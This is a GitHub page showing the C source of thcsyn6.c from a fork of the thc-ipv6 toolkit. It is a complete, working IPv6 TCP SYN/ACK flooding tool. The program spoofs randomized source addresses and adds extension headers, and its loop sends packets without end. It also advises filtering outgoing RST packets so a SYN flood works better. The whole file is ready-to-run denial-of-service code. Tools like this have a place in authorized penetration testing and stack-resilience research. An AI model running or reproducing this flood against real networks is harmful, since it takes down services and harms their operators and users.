forked from vanhauser-thc/thc-ipv6
-
Notifications
You must be signed in to change notification settings - Fork 0
/
thcsyn6.c
213 lines (192 loc) · 6.4 KB
/
thcsyn6.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <time.h>
#include <pcap.h>
#include "thc-ipv6.h"
void help(char *prg) {
printf("%s %s (c) 2019 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE);
printf("Syntax: %s [-aAcdDfrORS] [-i microsecond] [-m dstmac] [-p port] [-s sourceip6] interface target port\n\n", prg);
printf("Options:\n");
printf(" -i sending interval of packets (in microseconds)\n");
printf(" -a add hop-by-hop header with router alert\n");
printf(" -d add destination header (can be set up to 64 times)\n");
printf(" -f add atomic fragmentation header (can be set up to 64 times)\n");
printf(" -A send TCP-ACK packets\n");
printf(" -S send TCP-SYN-ACK packets\n");
printf(" -r randomize the source from your /64 prefix\n");
printf(" -R randomize the source fully\n");
printf(" -D randomize the destination (treat as /64)\n");
printf(" -O add a TCP Fast Open cookie (SYN-only packets)\n");
printf(" -m dstmac use this destination mac address\n");
printf(" -s sourceip6 use this as source IPv6 address\n");
printf(" -p port use fixed source port\n");
printf("\nFlood the target port with TCP-SYN packets. If you supply \"x\" as port, it\nis randomized.\n");
exit(-1);
}
#define IDS_STRING 0xbebacefa
int main(int argc, char *argv[]) {
char *interface, *ptr, buf2[8], buf3[18];
unsigned char *dst = NULL, *dstmac = NULL, *src = NULL, *srcmac = NULL, dmac[6];
int i, type = TCP_SYN, alert = 0, randsrc = 0, randdst = 0, randsrcp = 1, randdstp = 0, dont_crc = 0, seq, do_dst = 0, do_frag = 0, fastopen = 0, olen = 0;
unsigned char *pkt = NULL;
int pkt_len = 0, count = 0;
unsigned short int sport, port;
int msec = 0;
if (argc < 3 || strncmp(argv[1], "-h", 2) == 0)
help(argv[0]);
srand(time(NULL) + getpid());
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
while ((i = getopt(argc, argv, "i:afAcrRs:DSp:m:dfO")) >= 0) {
switch(i) {
case 'i':
msec = atoi(optarg);
break;
case 'a':
alert = 8;
break;
case 'O':
fastopen = 1;
break;
case 'A':
type = TCP_ACK;
break;
case 'S':
type = TCP_SYN + TCP_ACK;
break;
case 'c':
dont_crc = IDS_STRING;
break;
case 'm':
sscanf(optarg, "%x:%x:%x:%x:%x:%x", (unsigned int *) &dmac[0], (unsigned int *) &dmac[1],
(unsigned int *) &dmac[2], (unsigned int *) &dmac[3], (unsigned int *) &dmac[4], (unsigned int *) &dmac[5]);
dstmac = dmac;
break;
case 'r':
randsrc = 8;
break;
case 'R':
randsrc = 1;
break;
case 'D':
randdst = 8;
break;
case 'p':
sport = atoi(optarg);
randsrcp = 0;
break;
case 's':
src = thc_resolve6(optarg);
break;
case 'd':
do_dst++;
break;
case 'f':
do_frag++;
break;
default:
fprintf(stderr, "Error: unknown option -%c\n", i);
exit(-1);
}
}
if (argc - optind < 3)
help(argv[0]);
interface = argv[optind];
if ((ptr = index(argv[optind + 1], '/')) != NULL)
*ptr = 0;
if ((dst = thc_resolve6(argv[optind + 1])) == NULL) {
fprintf(stderr, "Error: Can not resolve %s\n", argv[optind + 1]);
exit(-1);
}
if (strcasecmp(argv[optind + 2], "x") == 0)
randdstp = 1;
else
port = atoi(argv[optind + 2]);
if ((srcmac = thc_get_own_mac(interface)) == NULL) {
fprintf(stderr, "Error: invalid interface %s\n", interface);
exit(-1);
}
if (src == NULL)
if ((src = thc_get_own_ipv6(interface, dst, PREFER_GLOBAL)) == NULL) {
fprintf(stderr, "Error: no IPv6 address configured on interface %s\n", interface);
exit(-1);
}
if (src[0] >= 0xfe && dst[0] < 0xfe) {
fprintf(stderr, "Error: link local address on interface, destination however is remote\n");
exit(-1);
}
if (dstmac == NULL) {
if ((dstmac = thc_get_mac(interface, src, dst)) == NULL) {
fprintf(stderr, "Error: can not find a route to target %s\n", argv[2]);
exit(-1);
}
}
memset(buf2, 0, sizeof(buf2));
buf2[0] = 5;
buf2[1] = 2;
if (fastopen) {
buf3[0] = 22;
buf3[1] = 18;
memcpy(buf3 + 2, dst, 16);
olen = 18;
}
printf("Starting to flood target network with TCP%s%s %s (Press Control-C to end, a dot is printed for every 1000 packets):\n", (type & TCP_SYN) > 0 ? "-SYN" : "", (type & TCP_ACK) > 0 ? "-ACK" : "", interface);
if (type == TCP_SYN)
printf("Remember to filter outgoing RST packets for SYN flooding, e.g. iptables -I OUTPUT -p tcp --tcp-flags RST RST -j DROP\n");
while (1) {
if (randsrc) {
for (i = randsrc; i < 16; i++)
src[i] = rand() % 256;
}
if (randdst) {
for (i = randdst; i < 16; i++)
dst[i] = rand() % 256;
}
if (randsrcp)
sport = rand() % 65536;
if (randdstp)
port = rand() % 65536;
seq = rand();
if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 255, 0, 0, 0, 0)) == NULL)
return -1;
if (alert) {
if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, 6) < 0)
return -1;
}
if (do_dst) {
if (do_dst > (thc_get_mtu(interface) - 40 - alert - 24) / 8)
do_dst = (thc_get_mtu(interface) - 40 - alert - 24) / 8;
memset(buf2, 0, sizeof(buf2));
for (i = 0; i < do_dst; i++)
if (thc_add_hdr_dst(pkt, &pkt_len, buf2, 6) < 0)
return -1;
}
if (do_frag) {
if (do_frag > (thc_get_mtu(interface) - 40 - alert - 24) / 8)
do_frag = (thc_get_mtu(interface) - 40 - alert - 24) / 8;
memset(buf2, 0, sizeof(buf2));
for (i = 0; i < do_dst; i++)
if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, getpid() + i) < 0)
return -1;
}
if (thc_add_tcp(pkt, &pkt_len, sport, port, seq, 0, type, 0x3840, 0, buf3, olen, NULL, 0) < 0)
return -1;
if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
return -1;
while (thc_send_pkt(interface, pkt, &pkt_len) < 0)
usleep(1);
pkt = thc_destroy_packet(pkt);
count++;
if (count % 1000 == 0)
printf(".");
if (msec != 0)
usleep(msec);
}
return 0;
}